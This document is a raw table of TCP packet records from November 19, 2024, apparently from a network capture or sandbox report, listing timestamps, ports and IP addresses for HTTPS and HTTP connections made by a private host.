Nov 19, 2024 01:01:28.251045942 CET	443	49782	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:28.275351048 CET	443	49781	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:28.277183056 CET	49781	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:28.277192116 CET	443	49781	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:28.277656078 CET	49781	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:28.277659893 CET	443	49781	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:28.320425034 CET	443	49783	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:28.322535038 CET	49783	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:28.322557926 CET	443	49783	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:28.322947979 CET	49783	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:28.322953939 CET	443	49783	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:28.388458967 CET	443	49782	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:28.388580084 CET	443	49782	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:28.388634920 CET	49782	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:28.388885975 CET	49782	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:28.388899088 CET	443	49782	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:28.388911009 CET	49782	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:28.388916969 CET	443	49782	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:28.391767979 CET	49789	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:28.391819000 CET	443	49789	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:28.391895056 CET	49789	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:28.392055035 CET	49789	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:28.392074108 CET	443	49789	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:28.424455881 CET	443	49781	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:28.424681902 CET	443	49781	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:28.424774885 CET	49781	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:28.424794912 CET	49781	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:28.424806118 CET	443	49781	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:28.428491116 CET	49790	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:28.428514957 CET	443	49790	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:28.428587914 CET	49790	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:28.428781986 CET	49790	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:28.428800106 CET	443	49790	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:28.467911959 CET	443	49783	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:28.468130112 CET	443	49783	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:28.468225002 CET	49783	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:28.468341112 CET	49783	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:28.468341112 CET	49783	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:28.468358994 CET	443	49783	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:28.468369007 CET	443	49783	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:28.471662045 CET	49791	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:28.471708059 CET	443	49791	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:28.471872091 CET	49791	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:28.472033024 CET	49791	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:28.472047091 CET	443	49791	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:28.479413986 CET	443	49784	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:28.479912996 CET	49784	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:28.479937077 CET	443	49784	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:28.480576038 CET	49784	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:28.480581045 CET	443	49784	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:28.622009039 CET	443	49784	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:28.622083902 CET	443	49784	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:28.622143984 CET	49784	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:28.622390032 CET	49784	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:28.622400999 CET	443	49784	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:28.622410059 CET	49784	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:28.622415066 CET	443	49784	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:28.625282049 CET	49792	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:28.625298977 CET	443	49792	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:28.625499964 CET	49792	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:28.625659943 CET	49792	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:28.625670910 CET	443	49792	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:28.662091017 CET	443	49785	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:28.663060904 CET	49785	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:28.663094044 CET	443	49785	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:28.663729906 CET	49785	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:28.663743019 CET	443	49785	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:28.806154013 CET	443	49785	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:28.806683064 CET	443	49785	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:28.806759119 CET	49785	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:28.806829929 CET	49785	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:28.806829929 CET	49785	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:28.806859016 CET	443	49785	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:28.806880951 CET	443	49785	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:28.809583902 CET	49793	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:28.809633970 CET	443	49793	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:28.809720993 CET	49793	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:28.809873104 CET	49793	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:28.809901953 CET	443	49793	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:29.152335882 CET	443	49789	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:29.152998924 CET	49789	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:29.153021097 CET	443	49789	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:29.153495073 CET	49789	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:29.153501987 CET	443	49789	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:29.194920063 CET	443	49790	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:29.195417881 CET	49790	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:29.195426941 CET	443	49790	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:29.195875883 CET	49790	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:29.195880890 CET	443	49790	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:29.259006023 CET	443	49791	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:29.259502888 CET	49791	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:29.259512901 CET	443	49791	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:29.259943008 CET	49791	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:29.259948015 CET	443	49791	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:29.292387962 CET	443	49789	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:29.292701006 CET	443	49789	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:29.292759895 CET	49789	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:29.292798042 CET	49789	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:29.292814970 CET	443	49789	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:29.292826891 CET	49789	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:29.292834044 CET	443	49789	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:29.296181917 CET	49795	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:29.296263933 CET	443	49795	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:29.296433926 CET	49795	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:29.296557903 CET	49795	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:29.296576977 CET	443	49795	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:29.338402033 CET	443	49790	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:29.338926077 CET	443	49790	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:29.338989973 CET	49790	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:29.339026928 CET	49790	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:29.339032888 CET	443	49790	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:29.339042902 CET	49790	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:29.339046955 CET	443	49790	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:29.341981888 CET	49796	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:29.341998100 CET	443	49796	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:29.342061043 CET	49796	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:29.342251062 CET	49796	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:29.342262983 CET	443	49796	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:29.403529882 CET	443	49792	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:29.404098034 CET	49792	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:29.404118061 CET	443	49792	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:29.404985905 CET	49792	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:29.404990911 CET	443	49792	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:29.405303001 CET	443	49791	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:29.405469894 CET	443	49791	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:29.405577898 CET	49791	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:29.405577898 CET	49791	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:29.405577898 CET	49791	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:29.408334970 CET	49797	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:29.408371925 CET	443	49797	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:29.408467054 CET	49797	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:29.408653021 CET	49797	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:29.408670902 CET	443	49797	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:29.547732115 CET	443	49792	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:29.547950983 CET	443	49792	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:29.548002005 CET	49792	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:29.548119068 CET	49792	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:29.548139095 CET	443	49792	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:29.548152924 CET	49792	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:29.548160076 CET	443	49792	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:29.556154013 CET	49798	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:29.556171894 CET	443	49798	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:29.556242943 CET	49798	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:29.556436062 CET	49798	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:29.556447029 CET	443	49798	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:29.568183899 CET	443	49793	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:29.568666935 CET	49793	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:29.568710089 CET	443	49793	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:29.569331884 CET	49793	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:29.569348097 CET	443	49793	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:29.588979959 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:29.589044094 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:29.628377914 CET	49791	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:29.628392935 CET	443	49791	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:29.686990976 CET	49800	443	192.168.2.6	142.250.185.206
Nov 19, 2024 01:01:29.687025070 CET	443	49800	142.250.185.206	192.168.2.6
Nov 19, 2024 01:01:29.687102079 CET	49800	443	192.168.2.6	142.250.185.206
Nov 19, 2024 01:01:29.687252998 CET	49800	443	192.168.2.6	142.250.185.206
Nov 19, 2024 01:01:29.687267065 CET	443	49800	142.250.185.206	192.168.2.6
Nov 19, 2024 01:01:29.709355116 CET	443	49793	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:29.709578991 CET	443	49793	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:29.709664106 CET	49793	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:29.709753036 CET	49793	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:29.709793091 CET	443	49793	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:29.709820986 CET	49793	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:29.709840059 CET	443	49793	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:29.712600946 CET	49802	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:29.712620974 CET	443	49802	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:29.712701082 CET	49802	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:29.712855101 CET	49802	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:29.712867022 CET	443	49802	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:30.054284096 CET	443	49795	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:30.055059910 CET	49795	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:30.055135965 CET	443	49795	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:30.055423975 CET	49795	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:30.055438995 CET	443	49795	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:30.111085892 CET	443	49796	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:30.111602068 CET	49796	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:30.111633062 CET	443	49796	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:30.112231016 CET	49796	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:30.112236977 CET	443	49796	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:30.167800903 CET	443	49797	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:30.168926001 CET	49797	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:30.168957949 CET	443	49797	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:30.169471025 CET	49797	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:30.169478893 CET	443	49797	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:30.194680929 CET	443	49795	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:30.195414066 CET	443	49795	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:30.195477962 CET	49795	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:30.196301937 CET	49795	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:30.196331978 CET	443	49795	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:30.196362019 CET	49795	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:30.196376085 CET	443	49795	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:30.199848890 CET	49803	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:30.199886084 CET	443	49803	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:30.199935913 CET	49803	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:30.200083017 CET	49803	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:30.200095892 CET	443	49803	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:30.249624014 CET	443	49796	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:30.250227928 CET	443	49796	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:30.250381947 CET	49796	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:30.250488043 CET	49796	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:30.250510931 CET	443	49796	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:30.250528097 CET	49796	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:30.250535965 CET	443	49796	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:30.253222942 CET	49805	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:30.253253937 CET	443	49805	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:30.253396988 CET	49805	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:30.254049063 CET	49805	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:30.254056931 CET	443	49805	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:30.307513952 CET	443	49797	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:30.307792902 CET	443	49797	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:30.307871103 CET	49797	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:30.307900906 CET	49797	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:30.307918072 CET	443	49797	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:30.307934046 CET	49797	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:30.307940960 CET	443	49797	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:30.310254097 CET	49806	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:30.310278893 CET	443	49806	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:30.310349941 CET	49806	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:30.310511112 CET	49806	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:30.310523987 CET	443	49806	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:30.330682039 CET	443	49798	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:30.331398964 CET	49798	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:30.331439972 CET	443	49798	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:30.332217932 CET	49798	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:30.332223892 CET	443	49798	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:30.470695972 CET	443	49798	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:30.470796108 CET	443	49798	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:30.470849037 CET	49798	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:30.476191044 CET	49798	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:30.476191044 CET	49798	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:30.476216078 CET	443	49798	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:30.476227999 CET	443	49798	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:30.477135897 CET	443	49802	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:30.478574038 CET	49802	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:30.478586912 CET	443	49802	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:30.479166031 CET	49802	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:30.479171038 CET	443	49802	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:30.480880976 CET	49808	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:30.480940104 CET	443	49808	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:30.480999947 CET	49808	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:30.481148958 CET	49808	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:30.481157064 CET	443	49808	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:30.527987957 CET	49809	443	192.168.2.6	4.175.87.197
Nov 19, 2024 01:01:30.528003931 CET	443	49809	4.175.87.197	192.168.2.6
Nov 19, 2024 01:01:30.528083086 CET	49809	443	192.168.2.6	4.175.87.197
Nov 19, 2024 01:01:30.538930893 CET	49809	443	192.168.2.6	4.175.87.197
Nov 19, 2024 01:01:30.538944960 CET	443	49809	4.175.87.197	192.168.2.6
Nov 19, 2024 01:01:30.562906981 CET	443	49800	142.250.185.206	192.168.2.6
Nov 19, 2024 01:01:30.563117981 CET	49800	443	192.168.2.6	142.250.185.206
Nov 19, 2024 01:01:30.563133955 CET	443	49800	142.250.185.206	192.168.2.6
Nov 19, 2024 01:01:30.563985109 CET	443	49800	142.250.185.206	192.168.2.6
Nov 19, 2024 01:01:30.564058065 CET	49800	443	192.168.2.6	142.250.185.206
Nov 19, 2024 01:01:30.565007925 CET	49800	443	192.168.2.6	142.250.185.206
Nov 19, 2024 01:01:30.565064907 CET	443	49800	142.250.185.206	192.168.2.6
Nov 19, 2024 01:01:30.565190077 CET	49800	443	192.168.2.6	142.250.185.206
Nov 19, 2024 01:01:30.565200090 CET	443	49800	142.250.185.206	192.168.2.6
Nov 19, 2024 01:01:30.612611055 CET	49800	443	192.168.2.6	142.250.185.206
Nov 19, 2024 01:01:30.615792036 CET	443	49802	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:30.615938902 CET	443	49802	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:30.616044044 CET	49802	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:30.616168976 CET	49802	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:30.616168976 CET	49802	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:30.616180897 CET	443	49802	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:30.616189957 CET	443	49802	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:30.619236946 CET	49810	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:30.619277000 CET	443	49810	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:30.619338036 CET	49810	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:30.619484901 CET	49810	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:30.619492054 CET	443	49810	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:30.686491013 CET	49811	443	192.168.2.6	142.250.181.238
Nov 19, 2024 01:01:30.686512947 CET	443	49811	142.250.181.238	192.168.2.6
Nov 19, 2024 01:01:30.686575890 CET	49811	443	192.168.2.6	142.250.181.238
Nov 19, 2024 01:01:30.686955929 CET	49811	443	192.168.2.6	142.250.181.238
Nov 19, 2024 01:01:30.686973095 CET	443	49811	142.250.181.238	192.168.2.6
Nov 19, 2024 01:01:30.821243048 CET	443	49800	142.250.185.206	192.168.2.6
Nov 19, 2024 01:01:30.821286917 CET	443	49800	142.250.185.206	192.168.2.6
Nov 19, 2024 01:01:30.821357965 CET	443	49800	142.250.185.206	192.168.2.6
Nov 19, 2024 01:01:30.821357965 CET	49800	443	192.168.2.6	142.250.185.206
Nov 19, 2024 01:01:30.821369886 CET	443	49800	142.250.185.206	192.168.2.6
Nov 19, 2024 01:01:30.821425915 CET	49800	443	192.168.2.6	142.250.185.206
Nov 19, 2024 01:01:30.821561098 CET	443	49800	142.250.185.206	192.168.2.6
Nov 19, 2024 01:01:30.821620941 CET	443	49800	142.250.185.206	192.168.2.6
Nov 19, 2024 01:01:30.821696043 CET	49800	443	192.168.2.6	142.250.185.206
Nov 19, 2024 01:01:30.821707010 CET	443	49800	142.250.185.206	192.168.2.6
Nov 19, 2024 01:01:30.830456972 CET	443	49800	142.250.185.206	192.168.2.6
Nov 19, 2024 01:01:30.830609083 CET	49800	443	192.168.2.6	142.250.185.206
Nov 19, 2024 01:01:30.830619097 CET	443	49800	142.250.185.206	192.168.2.6
Nov 19, 2024 01:01:30.878278017 CET	49800	443	192.168.2.6	142.250.185.206
Nov 19, 2024 01:01:30.878294945 CET	443	49800	142.250.185.206	192.168.2.6
Nov 19, 2024 01:01:30.925417900 CET	49800	443	192.168.2.6	142.250.185.206
Nov 19, 2024 01:01:30.937823057 CET	443	49800	142.250.185.206	192.168.2.6
Nov 19, 2024 01:01:30.938008070 CET	443	49800	142.250.185.206	192.168.2.6
Nov 19, 2024 01:01:30.938100100 CET	49800	443	192.168.2.6	142.250.185.206
Nov 19, 2024 01:01:30.938111067 CET	443	49800	142.250.185.206	192.168.2.6
Nov 19, 2024 01:01:30.953088999 CET	443	49800	142.250.185.206	192.168.2.6
Nov 19, 2024 01:01:30.953180075 CET	49800	443	192.168.2.6	142.250.185.206
Nov 19, 2024 01:01:30.953193903 CET	443	49800	142.250.185.206	192.168.2.6
Nov 19, 2024 01:01:30.958059072 CET	443	49800	142.250.185.206	192.168.2.6
Nov 19, 2024 01:01:30.958116055 CET	49800	443	192.168.2.6	142.250.185.206
Nov 19, 2024 01:01:30.958125114 CET	443	49800	142.250.185.206	192.168.2.6
Nov 19, 2024 01:01:30.959677935 CET	443	49803	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:30.960165977 CET	49803	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:30.960190058 CET	443	49803	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:30.960896969 CET	49803	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:30.960903883 CET	443	49803	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:30.967736006 CET	443	49800	142.250.185.206	192.168.2.6
Nov 19, 2024 01:01:30.967819929 CET	49800	443	192.168.2.6	142.250.185.206
Nov 19, 2024 01:01:30.967829943 CET	443	49800	142.250.185.206	192.168.2.6
Nov 19, 2024 01:01:30.977178097 CET	443	49800	142.250.185.206	192.168.2.6
Nov 19, 2024 01:01:30.977298021 CET	49800	443	192.168.2.6	142.250.185.206
Nov 19, 2024 01:01:30.977308035 CET	443	49800	142.250.185.206	192.168.2.6
Nov 19, 2024 01:01:30.986951113 CET	443	49800	142.250.185.206	192.168.2.6
Nov 19, 2024 01:01:30.987109900 CET	49800	443	192.168.2.6	142.250.185.206
Nov 19, 2024 01:01:30.987118959 CET	443	49800	142.250.185.206	192.168.2.6
Nov 19, 2024 01:01:30.992456913 CET	49814	443	192.168.2.6	184.28.90.27
Nov 19, 2024 01:01:30.992484093 CET	443	49814	184.28.90.27	192.168.2.6
Nov 19, 2024 01:01:30.992625952 CET	49814	443	192.168.2.6	184.28.90.27
Nov 19, 2024 01:01:30.993470907 CET	49814	443	192.168.2.6	184.28.90.27
Nov 19, 2024 01:01:30.993485928 CET	443	49814	184.28.90.27	192.168.2.6
Nov 19, 2024 01:01:30.996571064 CET	443	49800	142.250.185.206	192.168.2.6
Nov 19, 2024 01:01:30.996639013 CET	49800	443	192.168.2.6	142.250.185.206
Nov 19, 2024 01:01:30.996646881 CET	443	49800	142.250.185.206	192.168.2.6
Nov 19, 2024 01:01:31.006088018 CET	443	49800	142.250.185.206	192.168.2.6
Nov 19, 2024 01:01:31.006170988 CET	49800	443	192.168.2.6	142.250.185.206
Nov 19, 2024 01:01:31.006182909 CET	443	49800	142.250.185.206	192.168.2.6
Nov 19, 2024 01:01:31.015095949 CET	443	49800	142.250.185.206	192.168.2.6
Nov 19, 2024 01:01:31.015198946 CET	49800	443	192.168.2.6	142.250.185.206
Nov 19, 2024 01:01:31.015208006 CET	443	49800	142.250.185.206	192.168.2.6
Nov 19, 2024 01:01:31.020965099 CET	443	49805	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:31.021878004 CET	49805	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:31.021888018 CET	443	49805	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:31.022485971 CET	49805	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:31.022490025 CET	443	49805	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:31.054758072 CET	443	49800	142.250.185.206	192.168.2.6
Nov 19, 2024 01:01:31.054792881 CET	443	49800	142.250.185.206	192.168.2.6
Nov 19, 2024 01:01:31.054882050 CET	443	49800	142.250.185.206	192.168.2.6
Nov 19, 2024 01:01:31.054909945 CET	443	49800	142.250.185.206	192.168.2.6
Nov 19, 2024 01:01:31.054919004 CET	49800	443	192.168.2.6	142.250.185.206
